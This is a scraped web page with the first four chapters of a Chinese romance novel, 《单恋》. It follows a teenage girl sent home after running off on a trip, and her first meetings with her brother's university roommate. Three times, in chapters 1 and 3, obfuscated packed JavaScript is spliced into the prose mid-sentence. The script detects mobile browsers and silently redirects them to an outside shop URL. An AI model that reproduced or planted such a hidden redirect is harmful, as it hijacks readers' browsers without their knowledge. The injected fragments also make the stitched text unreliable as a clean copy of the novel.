《单恋》 1. chapter1 第一章 六月初,正值盛夏,昌南市却罕见地迎来了一场暴雨。暴雨从清晨一直下到傍晚,噼里啪啦地敲打着这座南方城市。 被哥哥从火车站一路领回来的温淼,此刻正垂头丧气地站在自家四合院那扇门前。 她低头盯着自己那双被雨水打湿白色板鞋,在心里暗暗做了个决定。 接下来一整个暑假,她都绝对不会再理这个不给她一点好脸色的男人。 雨已经停了,空气里弥漫着潮湿的土腥味和树叶子被冲刷后的清新气息。 温宿单手将行李箱给她拎到鞋柜旁,然后从裤兜里摸出烟盒,然后低头拢着火机点火:“进去,我抽根烟。” 还是不想和她说话。 温淼缠着自己的手指,她知道自己有错在先,可是他状也告了,也把她当着一众朋友和车站旅客的面像拎小鸡崽一样拎了回来。 干嘛对她还是这个态度?至于吗。 她不就是高考结束了,想和几个要好的朋友一起去海边玩一趟吗。 委屈和不服气在心口闷成一团,又酸又胀,怎么都咽不下去。 拖着脚步,温淼挪进院子,回到自己那间朝南的小卧室。 屋里还是她早上走前的样子,地上堆着没来得及卖去废品那的高考复习资料。窗台上那盆绿植被她养得蔫头耷脑。 和她现在这样简直如出一辙。 温淼反手关上门,将外套脱下后,从背包侧袋里拿出手机。 这部手机是高考结束后,在温岚莉和向森的要求下,温宿用他拿到的奖学金给她换的新手机。 最新款的苹果5,对于她这个用了三年老年机的人来说,简直可以说是鸟枪换炮。 之前在火车站,她想着到了目的地再报备,一直不敢开机。现在瞒着显然没有任何意义,回到自己熟悉的地盘,她这才按下开机键。 屏幕亮起,信号恢复的瞬间,手机就开始疯狂震动。 十几条未接电话的记录,还有轰炸似的短信。 有正在外地开研讨会的父母焦急的询问,温宿发来的问号,还有朋友们在群里为她打抱不平的刷屏,夹杂着担心,显然是怕她回家之后被清算。 【淼淼你还好吗?你哥没把你怎么样吧?】 【你哥看着好吓人。差点以为我们干什么了QAQ】 【都怪我,不该撺掇你偷偷跑……】 温淼抹了一下眼角,手指在屏幕上敲敲打打,删了半天,最后只发出去一句:【我没事啦,到家了。你们玩的开心点,记得给我拍好看的照片!】 朋友们回复得很快: 【肯定的!给你带贝壳!】 【我们到时候把你p上去。】 【抱抱,别跟你哥硬刚啊。】 她收回手机,又对着窗外发了很久的呆。 院子里那棵蓝花楹被雨水洗得油绿发亮,偶尔有水滴从叶片上坠落,砸在地上,发出清脆的声响。 然后是开门的声音。她猜是温宿抽完烟进来了。 果然,没过几秒,“咚、咚。”不轻不重的两声敲门响。 “湿衣服换了吗?出来吃饭。” 温淼闷声:“不饿,不想吃。” “我数三下。” “你数五下也没用。除非你先道歉。” “.......爱吃不吃。饿死你算了。”门外的温宿揉了揉脖子,显然也没什么好脾气。 他插着兜回到光线稍暗的客厅,把手里的半包抽纸随手一抛,丢给正懒洋洋陷在沙发里玩手机的男人:“你去叫她。” 男人穿着一件质感灰色卫衣,袖子撸起来,露出半截手臂。他闻声,慢悠悠地抬起头,一双天生带笑的桃花眼从手机屏幕上移开。 “你确定我去叫?”他声音不高,带着点刚睡醒似的微哑。 “反正我伺候不了,”温宿大马金刀往那一坐,“要不是我早上回来拿东西还发现不了,偷身份证、不打招呼就跑去旅游,还想让我道歉?都没成年呢,就知道作。不知道以后谁受到了你这破性格。等着挨骂吧。” 说到后半段话时,他特意抬高音量,像是故意让卧室里的人听见。 果不其然—— “我还有两个月就成年了!而且,你又不是我爸,又不是我妈,管我干嘛!” “要不是他们俩去外面开研讨会把你丢给我,你以为我乐意管你?” “你平常眼睛那么瞎,今天为什么不能继续瞎着?” “这死小孩——”温宿眉头一跳,刚要冲过去。 “行了。”男人看着两个人一来一回的,觉得好笑,从沙发上起身,“和你妹计较什么。” “叫出来吃饭就行了吧。”他把手机揣进口袋,朝二楼卧室走去。 停在房门前,指关节轻轻叩了两下:“温淼,出来吃饭?” 声音不大,却在狭窄的走廊里显得格外清晰。 屋内安静,没有人理他。 他垂眸,指尖顿了顿,最终还是抬手又敲了一下。 “真不吃?” 她正坐在床上,试着平复心情,头发凌乱地糊在脸上。 问问问,有什么好问的一直问。 “说了不吃……嘶!”被问烦了,朝外面吼一句,却因为动作太急,一不小心撞上床头板,疼得倒吸一口凉气。 房间里传来那一声吃痛的抽气,门外的人停顿了两秒,随后“咔哒”一声,推开门。 本就憋着一肚子气的温淼,觉得自己这狼狈的样子被温宿看了个正着。 烦死了。 “除非你道歉,不然我饿死也不吃。”她的声音带着鼻音,愈说愈低:“你真的太讨厌了……我要换个哥哥。快点说......” 泪珠吧嗒吧嗒往下掉,落在被单上,溅出一点小水印。却没听见熟悉的反驳。 视线模糊间,一只手忽然伸到她面前。 午后的阳光从她房间碎花窗帘缝隙里斜斜落下,将他整个人都笼在一层淡光里。 灰卫衣,桃花眼。 他微微俯身,一只手撑在膝上,另一只递出一张纸巾,嗓音懒散: “那对不起?” “.......” 那、对、不、起。 不是温宿说的,而是另一个她从来没有见过的男人说的。 温淼愣在原地,手里还攥着那张纸,甚至怀疑自己是不是被气晕了头出现幻觉。老天爷终于听见她刚才那句话,真给她现场变了个新哥哥出来? 如果不是的话,那会不会也太尴尬了一点? — “温淼,你怎么眼睛不长在人家身上?”餐桌上,温宿敲了敲碗沿,语气不善。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091445|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都看几次了? “我只是想吃那个菜。”温淼扒饭,胡乱指了一下坐在斜对面男人面前的那盘炒鸡蛋。 太丢人了,居然在一个人陌生人面前哭成那样。 温宿没好气地把整盘菜往她面前一推:“吃你的饭,不知道的以为你斜视。” 撂下筷子,温宿抽出纸巾擦了擦嘴,靠回椅背,那架势,温淼再熟悉不过。 这是要开始秋后算账了。 温淼抢先一步:“还有人在呢。” 她飞快地瞥了一眼旁边正慢条斯理喝汤的男人。 “所以?”温宿挑眉,不为所动。 所以要不就算了?给彼此留点面子? 温淼的手缩了一下,下意识地看向旁边的人,眼神里带着明晃晃的求助。一般这种情况,有外人在场,不都应该站出来打个圆场,劝两句“算了算了,孩子知道错了”吗? 男人接收到她的目光,和她对上眼,就在她以为他会说点什么的时候,他很是善解人意地放下汤勺,站起身。 “懂。你们聊。” 说完,还真就转身,迈开长腿,不紧不慢地往院子那边走了。 温淼:“???” 他懂什么了?她不是让他走啊!她是想让他劝架啊! 现在好了,餐桌旁只剩下她和温宿,以及一桌子残羹冷炙。空气安静得能听见窗外晚风吹过树叶的沙沙声。 温宿把手机丢在桌面上,手指在桌面上敲了敲,“本来还觉得你这么些天在家里安分过了头,没想到是给我整了个大的,生怕我好过。说吧,你的理由是什么。” “我就是想出去玩。高考结束了,她们都去了。” “人家去,是跟家里说好了,父母知情、同意,甚至送着去的。你呢?你说了吗?” “说了你也不会同意啊……而且你之前毕业也偷偷出去旅游了。”她顿了一下:“我还用我的压岁钱赞助了。” “你说的是那个最后我还了你三倍的压岁钱?” “那个不重要,我想表达的是,哥哥你面对这种情况也应该对我多包容一点。” “我还不够包容你?我们两个情况一样吗?我是男的你是女的。” 怎么不一样了? “温宿,你这是在性别歧视,” 眼看打感情牌没用,连哥哥也不叫了。 温宿眉心突突地跳:“反正爸妈那里,你自己去解释,我不会帮你。” 温淼僵了一下。 温岚莉和向森对她的确属于有求必应,但这种原则问题一向是不会退让的。这也是她为什么会挑他们出差没这么快回来的时间行动。 “哥。” “你哥死了。” “刚刚我还以为是你来我房间的时候我们就已经和解了。“ “不好意思,来你房间的不是我。” “那个人谁啊,你朋友吗?” 温宿瞥她一眼,没好气:“我给你找的新哥。满意了?” 温淼:“……” 请问,温宿嘴里能吐出一句她能接的话吗? 她默默地从椅子上站起来,椅子腿和地板摩擦发出轻微的声响。 温宿瞥她:“你干嘛去?” 温淼往院子那里吸了吸鼻子,老实回答。 “找我新哥呗。” 2. chapter2 第二章 找新哥这句话纯粹是她为了气温宿而说出来的。 连人家名字都不知道叫什么,找个毛线。 他们住的这个四合院位于昌南市的城区边缘,离繁华的市中心有点距离,但胜在环境安静。每户都是独立的院子,私密性比较好。 原本院子一角是标配的小鱼池,里面养着几尾锦鲤,后来因为向森同志迷上了种菜,硬是把鱼池给填了,改造成了非常健康、但也非常考验技术的小菜园。 从客厅出来,温淼一眼就看见那个穿着灰色卫衣的男人,指间夹着一支燃了一半的烟,正站在正屋延伸出来的屋檐下。 屋檐对面,就是她老爸向森的宝贝菜园,以及仅存的几颗小白菜。 大概是为了避开那几垄脆弱的菜苗,也或许是出于礼貌,他站得很靠边,几乎是贴着廊柱,让烟雾飘向空旷处,半截胳膊被雨打湿。 还怪可怜的。 温淼脚步顿了一下,没往他那边靠,选了屋檐的另一头站着,没主动讲话,只是不自觉地清了清嗓子,发出一点细微的声响。 院子里很安静,只有不知雨水顺着屋檐落在台阶上偶尔发出一两声短促的鸣叫。 谢京韫抬手,将指间剩下的半截烟在廊柱边一个废弃的小花盆沿上轻轻摁熄,随手丢进旁边的垃圾桶里。 做完这些,他才朝她这边走了两步,拉开一点距离,但又能让彼此听清说话。 他脸上没什么特别的表情,只是唇角很自然地向上弯了一下:“和你哥和好了?” 鼻子上有一颗痣。 温淼移开视线:“他已经不是我哥了。说让我来找你,你是我新哥。” 她还记着刚刚在餐桌上男人见死不救的举动:“只能你负责了。” “我负责?” “谁叫你刚刚就那样走了。”温淼吸着鼻子:“正常人一般不都得劝两句。孩子还小,要不算了。哎,没必要,又不是什么大事。” 小姑娘眼角还残留着刚才哭过的淡红,皮肤本来就白,此刻在廊灯的光线下,更显得有种脆弱的、娇娇嫩嫩的感觉,像院子里被雨打湿、花瓣边缘有些发蔫的花朵。 谢京韫沉默了一下,他这是被一个小孩责怪了吗。 “温宿打你了?” “他还不如打我呢。” 这是真不高兴了。 谢京韫语气诚恳:“对不起,我没经验。” “你那是幸灾乐祸。”温淼纠正他。 “那我要怎么补救?当你哥也没什么问题,就我是不是得改姓温了?” 温淼一愣,没转过来,抬起头看他:“为什么你改?” “因为我是跟着我妈姓的。”谢京韫思考:“如果来你家当哥哥,按道理,应该是跟着你家改名吧?” 这是什么道理? “是嘛,其实我们家也是,我跟我哥也都跟我妈姓温。”她顿了一下,这才想起正事,眨了眨眼,“哥哥,你叫什么名字?” “你哥没和你说吗?我是他大学室友,叫谢京韫。” “谢、京、韫……”温淼小声重复了一遍,在心里默默拼写这个“韫”字是哪个。 温京韫听上去没有谢京韫好听。 “你来找他玩吗?”她又问。 温宿朋友很多,小学初中高中各个阶段的都有,她记不住名字,也懒得记。 之前她上初中的时候,他偶尔还会带一两个关系特别铁的朋友回家住。不过自从有一次她半夜口渴下楼喝水,迷迷糊糊看见一个不穿上衣的陌生男人在冰箱那里鬼鬼祟祟翻东西,吓得她魂飞魄散,差点从楼梯上滚下来后。那温宿就再也没带人回来住过,这次倒是破例。 “怎么说,我应该是给你哥来打工的。” “哦。那你肯定要被他压榨了。”温淼应了一声,没继续追问。察言观色的本能她还是有的。她总觉得这个说法,带着点含糊其辞、不想让对方继续深究的意思。 她垮下小脸:“我帮不了你了,我自己都自身难保。” 还挺讲义气的。 谢京韫被逗笑了:“你原本计划是去哪玩的?” “江都。”温淼老实回答,提起这个,心里那点遗憾又冒了出来。 谢京韫:“去看海?那里这个时候的海边确实很漂亮。沙子细软,海水也蓝,运气好的话,傍晚还能看到很美的火烧云,退潮后沙滩上会有很多漂亮的贝壳可以捡。” 温淼:“你去过吗?” 这次决定去江都,是她们几个女生里主意最多的那个女孩拍板的,因为前段时间有个很热门的青春偶像剧在那里取过景,女主角在沙滩上奔跑的镜头被剪成了预告,风靡一时。 “嗯,我是江都人。” 谢京韫:“江都确实气候宜人,生活节奏也慢,天气好的时候,天空和海都是一种很干净的蓝。以后有机会,还是可以再去的。” 他顿了顿,像是随口一提,依旧是漫不经心的样子:“不过,你这个时候去看的风景,感受到的东西,应该会和以后再去时很不一样。” — 回到自己那间朝南的小卧室,温淼稍微收拾了一下那些课本,然后又在自己房间的浴室里洗了个澡。 她的头发厚,每次洗完都要吹很久,一般得折腾将近一个小时才能彻底干透。 拔掉正在充电的手机,屏幕亮起,显示有几个未读消息,都是群里朋友们发来的旅行照片和叽叽喳喳的讨论。温淼一边单手笨拙地拢着头发对着吹,一边划拉着屏幕看。 吹到一半,手臂就有些发酸,热风也吹得她脸颊发烫。她索性关了吹风机,把半干的头发随意拨到脑后,顶着一头毛茸茸的乱发坐到床沿。 高考结束,身边的朋友基本都出去旅游了。离正常高中放暑假的时间还有段距离,她现在也没有作业,整个人处于一种紧绷后的骤然松弛状态,有点无所适从。 墙上的挂钟时针指向八点半,手机忽然震动起来,备注是妈妈。 温淼心里咯噔一下。 “里里,睡了吗?” 里里是她小名。据温宿称,她学会说话那会,因为想找大人陪着玩,但是又说不全话,每次说理理我只能蹦出第一个音。于是里里就成了她的小名。 正常来说,一般她犯错,妈妈是会连名带姓含她的,现在她在电话声音听起来一如既往,让她有点拿不准到底是生气了还是没生气。 “刚洗完澡,还没睡。” 温淼握着手机,指尖无意识地抠着睡衣的扣子,还是做好了迎接一场思想教育的准备。 “今天的事,我听你哥说了。你怎么想的?怎么能不打招呼就拿身份证跑那么远呢?你哥说,你是因为他之前毕业去了江都旅游,才想着去的,是吗?” 温淼坐在床沿,没想到温宿会把这个由头揽过去,听起来……像是替她找了个不那么叛逆的动机。 “嗯……”她含糊地应了一声。 “下次不能这样了,知道吗?想去哪里,提前和爸爸妈妈或者哥哥商量,我们又不是不通情达理。这样突然跑掉,多让人担心。等我们工作回来,再带你和哥哥一起去旅游。” “知道了,妈妈。”温淼低下头,看着自己光洁的脚趾在地板上无意识地划拉着,乖乖认错。 “知道了就好。”温岚莉的语气缓和下来,“记得把头发吹干再睡,小心感冒。还有,琵琶也要记着练,不能因为高考完了就彻底放松。上课时间老师和你确认了吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091446|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “说了,下周开始恢复上课。” “那就行。对了,这段时间家里会住一个你哥的大学同学,姓谢,你见过了吗?” “见过了。”温淼忍不住问,“妈妈,他是要住多久?” “听你哥说大概住到九月份。人家家里有点事,不方便住宿舍,借住一阵子。你记得要有礼貌,但也不要太打扰人家。” “好,我知道了。妈妈晚安。” “晚安,里里。” 挂断电话,温淼握着手机,还有点没回过神。 这样……就好了? 她没想到这件事会这么简单地就掀了过去。没有预想中的长篇大论和深刻检讨,甚至连责备都显得轻描淡写。这一切多亏了温宿,那个吃饭时还不忘算账的哥哥,居然在妈妈面前帮她说了话,把她一时兴起的冒险,归结于他无意中提到的一句话。 心里那点堵了一整天的委屈和不服气,像被戳破的气球,“嗤”地一下漏了个干净,只剩下一点点酸酸软软的感觉,说不清是什么。 她躺进柔软的被子里,翻了个身,侧躺着重新拿起手机。 空间里的朋友几乎都在晒自己的假期生活,群里朋友们还在兴奋地分享着今天的见闻和照片,蔚蓝的海,金色的沙滩,造型奇特的礁石,还有她们挤在一起做的鬼脸。她默默地把几张拍得特别好看的海景图保存了下来。 她原本对于这次旅行的目的地,其实并没有太具体的憧憬和执念。 从小到大,她几乎没有什么特别强烈的欲望,也没有什么非得到不可的东西。 父母是高级知识分子,还有个比她大四岁的哥哥,温淼的生活,可以说是没有什么需要她操心的地方。 她觉得自己算不上特别优秀,特别突出的那种小孩。顶多只能算还不错。 小时候学琵琶,原因也很简单,温岚莉觉得女孩子学点乐器能陶冶情操,家里刚好有亲戚认识这方面的老师,就找了人牵头。 于是,从小学三年级开始,温淼每周会背着一个对她来说有些过大的琴盒,穿过半个城区,去老师家练琴。 后来是准备艺考。为了冲击更好的院校,她跟着老师跨省去参加专业考试,同时兼顾文化课程,就这样直到这次高考结束。同学都在兴奋地讨论着旅行、打工、学车,规划着人生中第一个完全由自己掌控的漫长假期。 温淼突然觉得有些无措。她能做什么呢? 其实因为平常集训的缘故,她和朋友们没有那么熟悉,可当她们提议一起去江都看海的时候,她几乎是毫不犹豫地点头了。与其说是向往那片海,不如说是向往一种突破。突破那种……连她自己都说不清道不明的生活状态。 她偶尔也想做出一些出格的选择,掌控自己的方向。 只是这叛逆期来的太晚,还没来得及真正展开,就被温宿毫不留情地掐灭了。 这就叫先帝创业未半而中道崩殂吧, 不过,看着照片里那片在阳光下闪闪发光的蓝色,温淼忽然想到了傍晚在院子里,谢京韫用那种平静温和的语调描述江都的样子。 沙子细软,海水也蓝、傍晚能看到很美的火烧云。 那些画面,透过他的语言和此刻眼前的照片,忽然变得生动而具体起来。 很漂亮。她想。 指尖在手机屏幕上悬停了一会儿,她退出聊天软件,点开了浏览器。在搜索框里,她慢慢地、一个一个地敲下两个字: 江都。 按下搜索键的瞬间,无数关于这城市的图片、游记、攻略、新闻……涌现在屏幕上。 离昌南不算近也不算远,坐火车大概8个小时。 看着那些色彩鲜艳的图片,温淼眼神有些放空。 3. chapter3 第三章 这天晚上,很少做梦的温淼,竟然迷迷糊糊梦到了一片晃动的蓝色。 她分不清那是天空还是海水,只记得自己整个人陷进去,浑身软绵绵的,像躺在一大团刚出锅的棉花糖上。 第二天醒来时,天光大亮。温淼盯着天花板发了会儿呆,慢吞吞爬起来去洗漱。 就醒了啊……梦里的棉花糖还没尝到呢,能多做一会儿梦就好了。 厨房里传出细微动静,有人在蒸包子。餐桌上摆好了一杯苹果汁和洗过的圣女果。 温淼打了个长长的哈欠,习惯性地、带着刚睡醒的迷糊劲儿开口:“哥,我不想吃包子,想吃汤圆。” “几个?” “六个就行。” “好。” 今天这么好说话? 温淼拉开椅子坐下,突然想到昨晚温宿在妈妈面前帮她说话的事。 难道是单方面求和的信号? 她抿了抿唇,立刻改口:“算了,不吃汤圆也可以,你煮什么我就吃什么。” 那她勉为其难原谅他好了。 “什么吃什么?”一只手伸过来,毫不客气地拿走了她面前那盘刚洗好的圣女果。 温淼抬头,正对上温宿那张没什么表情的脸。他穿着黑色T恤,头发微乱,眼神冷淡,一副全世界欠我八百万的架势。 “我说我不吃汤圆也可以……” 等等。 温宿在这里,那厨房里站着的是谁? 她正愣神,厨房门被推开,谢京韫端着两个碗走了出来。 他今天换了件浅蓝色衬衫,袖子随意卷到手肘,露出右手的黑色电子表。 男人把其中一个碗轻轻放到温淼面前。 碗里不多不少,正好是六个圆滚滚、白胖胖的汤圆。 “刚好六个。小心烫。” 温淼看着那碗汤圆,眨了眨眼,这才彻底回过神—— 哦对,家里现在多了一个……借住的临时工。 “谢谢哥哥。”她乖巧道谢。 “没事。” “你这哥哥叫得可真顺口。”温宿拉开她对面的椅子坐下,拿起另一个碗里的包子,斜睨着她,“怎么,这个新哥哥还满意吗?他可没我那么好说话,有对比才能让你知道,我以前对你有多仁慈。” 还记着前一晚的事呢,真小气。 温淼舀起一个汤圆吹了吹:“哥,你这话说得不对。” “哪儿不对?” “人家哥哥至少会煮汤圆。你只会吃现成的,还要挑三拣四。” 温宿被噎了一下,瞪她:“谁挑三拣四了?” “我在家这几天,就没吃过一顿像样的饭,昨天吃的饺子没熟,前天煮的米饭太硬。”温淼掰着手指头数,“大前天……” “行了行了。”温宿打断她,看向谢京韫,“你看,我就说她难伺候。” 谢京韫笑了笑,没接话。 温淼没继续搭理他,看在昨天他说好话的份上,全当他在夸大其词,并在心里默默为谢京韫点了一根蜡烛。 大清早就被使唤做饭,还真是来打工还债的。 温宿:“晚上我不在家吃饭,你自己煮面或者叫外卖。” 温淼咬了一口汤圆,软糯的芝麻馅流出来,烫得她舌尖发麻:“唔……你去干嘛?” “我和谢京韫回学校宿舍收拾东西,晚上约了朋友吃烤肉。”温宿三两口解决掉包子,抽纸擦手。 吃烤肉? 温淼放下勺子,汤圆瞬间不香了。 她朋友都在旅游,家里没人。怎么他们就能出去吃大餐,她就要孤零零在家吃面? “我也要去。” “你?老实关禁闭,偷跑出去的账还没算。” “但我不想吃面。” “那我给你钱,你去外面买。” “外面的饭不卫生、不干净、不健康。”温淼学着妈妈的口气,一本正经。 “那烤肉就健康了?” “烤肉不是饭啊。”她理直气壮,又补充一句,“而且,我可以帮忙搬东西。” 温宿扫她一眼:“帮忙?温淼,我大学四年都没见你来过一次,之前让你来学校帮我搬书跟要你命一样,现在我都快毕业了,你想起来帮忙了?” “……”温淼自知理亏,目光转向旁边安静吃饭的谢京韫,语气瞬间乖巧,“哥哥,我可以帮你搬东西,我很能搬的。” 谢京韫放下勺子,看向她,声音懒洋洋:“谢谢妹妹。不过会不会太麻烦你?只是收拾行李,很快就好。” “不客气。”温淼立刻接话,表情真挚:“帮助哥哥是妹妹的天职。我完全不介意,反正我在家也没事做。” 温宿:“?” 这样兄友妹恭的场面,他真是从未见过。 — 吃完早饭,温宿去车库把车开来。一辆黑色奔驰,前年他考到驾照后爸爸给买的。 上车时,温淼原本抢了副驾驶的位置,温宿瞪她:“你坐后面去。” “我不。”温淼低头系好安全带,“我要坐前面看风景。” “后面不能看?这我车。”正说着,温宿就把人给拎到了后面。 “后面不好看。” 反抗无效,温淼憋屈的不行,全程就看着两个人的后脑勺,想着怎么会有温宿这么霸道的人,风景也没心情看了。 昌南大学在老城区另一端,约三十分钟车程。车子开进校园时,正值放假前夕,校园里比平时空旷,只有零星留校的学生走动。 他们宿舍按年级划分,大四住五楼,510。在宿管阿姨那儿登记后,温淼跟着上了楼。 宿舍门虚掩着。推门进去,房间意外地干净,和温淼想象中的男生宿舍不太一样。 靠窗位置,一个戴黑色鸭舌帽的男生正把椅子翘成危险角度,敲着电脑打游戏。 这人温淼知道,温宿提过的室友,蒋睿鹏,建筑系的。 “蒋睿鹏,说了几次了,别把脚放我椅子上。”温宿一进门就皱眉,嫌弃地踢了踢椅子腿。 “靠!我打游戏呢,谁啊——哦,你们来了啊。”蒋睿鹏手忙脚乱稳住椅子,看清来人后笑嘻嘻的。 温宿扫了一眼:“顾承呢?” “他刚收拾完,说有事,待会儿直接去吃饭的地方碰头。让你来了给他打电话,好像导员找你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091447|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢京韫关上门:“这几天那个人还有来吗?” “没呢,我几天都在学校,没看见,估计是上次闹大了不敢再来了……”蒋睿鹏的目光落在温淼身上,眼睛一亮,“这是……” “我妹,温淼。”温宿简单介绍,“我室友,蒋睿鹏。” 温淼乖巧点头:“哥哥好。” “哎哟,妹妹好!”蒋睿鹏胡乱套上外套,有点不好意思,“之前在宿舍天天听你哥念叨你,可算见着真人了。是来帮你哥收拾东西的吧?他都收拾好了,就这些。” 他指了指墙边堆着的行李。 温宿下学期的个人物品不多:几个行李箱,几个摞在一起的塑料收纳盒。 里面全是他宝贝得不行的各款球鞋。 又不是蜈蚣,穿得完这么多吗?温淼在心里默默吐槽。 她估算了一下,东西不算多,跑两趟应该能搬完。 说干就干。 看着在阳台打电话的温宿,温淼撸起袖子,走向门口去拖那个最大的黑色行李箱。 小姑娘个子不高,骨架纤细,拖着一个半人高的行李箱,还要小心避开地上杂物,显得有点吃力。 她正吭哧吭哧跟箱子较劲,忽然手上一轻。 抬头,是谢京韫。他不知何时走了过来,单手接过行李箱,另一只手拿起旁边稍小的双肩包,低头看她: “你还真来搬啊?” 他还以为她只是找个借口跟出来玩。 谢京韫把双肩包递给她:“你拿这个。其他的等你哥打完电话,我和他来。” “不要。”温淼把双肩包接过来背在胸前,莫名有种被看轻的不爽,“说了来帮忙就是来帮忙。” “哥哥,你知道什么样的男人最不受欢迎吗?” 谢京韫挑眉:“什么样的?” “瞧不起人的。”她一字一句,表情严肃:“尤其是瞧不起我。” 之前集训时,她一个人坐飞机去和老师汇合,在机场拿三个箱子都不在话下。 现在这些算什么?一趟拿不完就多拿几趟。这有什么。 她左手固执地拽着行李箱拉杆,右手还不忘踮脚,从旁边桌面捞起温宿落下的运动水壶。 “哥哥,你自己东西收拾好没?” 谢京韫:“我?就一个箱子,收好了。” “那你放着,我先帮我哥拿下去,待会上来帮你拿。”温淼拖着箱子,胸前挂着鼓囊囊的包,手里攥着水壶,走起路来摇摇晃晃,还不忘回头认真叮嘱,“你小心点,别磕着。” 到底谁才是该小心别磕着的那个? 谢京韫看着怀里抱着包、手里拖着箱子、走路摇摇晃晃还不忘回头叮嘱他的小姑娘,愣了两秒。 唇角不受控制地向上弯了弯,眼底那点惯常的疏淡被什么柔软的东西冲淡。 他摇了摇头,没再坚持,只是快步跟上去,长臂一伸,轻松将她手里那个碍事的行李箱再次接管过来。 “说了我自己来……” 在温淼蹙眉看过来之前,他抢先一步,懒洋洋道:“是让你自己来,但好歹分点活给哥哥做吧。” 不然,显得他很像来吃白饭的 4. chapter4 第四章 把全部行李都塞进宽敞的后备箱后,他们上车出发前往学校附近一个大型综合商场。 商场的停车场有点大,正值饭点,车位几乎满了。温宿干脆让他们三个先下车去店里取号,他自己开车慢慢找车位。 蒋睿鹏看着通往三楼的直梯口排着的长队,顿时有点打退堂鼓。要不是下车前,温宿专门叮嘱了他们一句坐直梯。他们这会儿估计都能点上菜了吧。 这得排到什么时候去。 “要不我们还是坐扶梯上去好了,反正就三楼,几分钟的事儿。”蒋睿鹏说着就想往扶梯走,走了几步却发现温淼还站在原地,“妹妹,不走啦?” 温淼看着电梯口乌泱泱的人群,又看了看旁边缓缓运行的扶梯,摇摇头:“要不你们先上去,我自己等直梯吧。” “因为你哥说要坐直梯?你也太听话了。” 温淼看着他们这副她不走他们也不走的样子,于是解释:“不是,我小时候从扶梯上摔下来过,那之后就不太敢坐了。” 也不是完全不能坐,只是每次站上去,手心总会不由自主地冒汗,小腿也微微发僵。所以不赶时间的话,她宁愿多等一会儿直梯,也不愿意遭这个罪受。 蒋睿鹏愣了一下,立刻不好意思地抓了抓头发:“啊?抱歉抱歉,我不知道。那咱们一起等直梯,不急这一会儿。” “不用。不是还要取号吗?烤肉店那边说不定也要排队。你们先上去拿号吧,我在这等就好。又没关系。” “这……” 蒋睿鹏看向谢京韫,后者对他点了点头:“你去拿号吧,我陪她等。” “那行,我到上面等你们!” 留一个人下来也行。 等蒋睿鹏走后,直梯口只剩下温淼和谢京韫。 谢京韫垂眸看着身边略显局促的女孩,低声问:“怎么摔的?” 站在电梯口,温淼望着前方跳动的红色数字,想了想。 “小时候,我哥出去和朋友玩,不肯带我。我跑去找他摔的。” 其实具体细节她已经记不太清了。只记得大概是她五六岁的时候,温宿刚上初中没多久。她那时候发烧刚好,温宿被迫照顾了她几天,大概是想喘口气,就溜出去玩了。 “小孩子嘛,”温淼慢吞吞回答,“睡醒了发现家里空荡荡的,只有自己一个人,就会特别没有安全感,觉得被丢下了。” 那时候他们还没搬到现在这个四合院,住在一个高档小区里。小区附近有个挺大的商场,温宿和他的朋友们常泡在里面的游戏厅打街机。温淼就凭着模糊的记忆,一个人偷偷溜出了家门,摇摇晃晃地往商场走。 她个子小,在人群里跌跌撞撞,心里又慌又急,只想着快点找到哥哥。上扶梯的时候,她没注意脚下,也可能是人太多被挤了一下—— “然后,就从扶梯上摔下来了。” 谢京韫:“疼吗?” 温淼摇了摇头,语气轻松:“不疼了,早就不记得啦。” 她微微动了动短裙下面的小腿:“不过这里留了个疤,挺长的一道。穿裙子不太好看。” 女孩皮肤白皙,小腿那里的确有一个很显眼的伤口。那是被扶梯边缘锋利金属划破的伤口,缝了好几针。 听温岚莉说,当时是那层楼一家服装店的店员阿姨最先发现了她。她坐在地上,疼得直抽气,眼泪哗哗地流,伤口也跟着往外冒血。 周围很快围上来一些人,七嘴八舌地问她家在哪里,爸爸妈妈电话多少。她什么都顾不上,只知道扁着嘴,哭得上气不接下气,反复念叨:“我要找我哥哥……找我哥哥……” “叮——”电梯到达的提示音将她从回忆里拉回。门开了,里面已经站了不少人。 温淼跟着人群往里走,谢京韫很自然地走在她身前,用自己稍高的身形,在她和拥挤的人流之间隔开了一点空间。 电梯门合上,缓缓上升。 温淼卷着自己耳朵旁边的头发,尾音上翘:“妈妈后来跟我说,我哥过来的时候,看到我坐在地上流血,吓得魂都没了,冲过来抱着我就开始哭,一边哭还一边说妹妹你不要死。” 她想象着酷酷的温宿,哭得鼻涕眼泪糊一脸,抱着脏兮兮的她语无伦次地道歉的画面。 “没亲眼看到他那副样子,实在是太可惜了。”她语气里带着点遗憾。 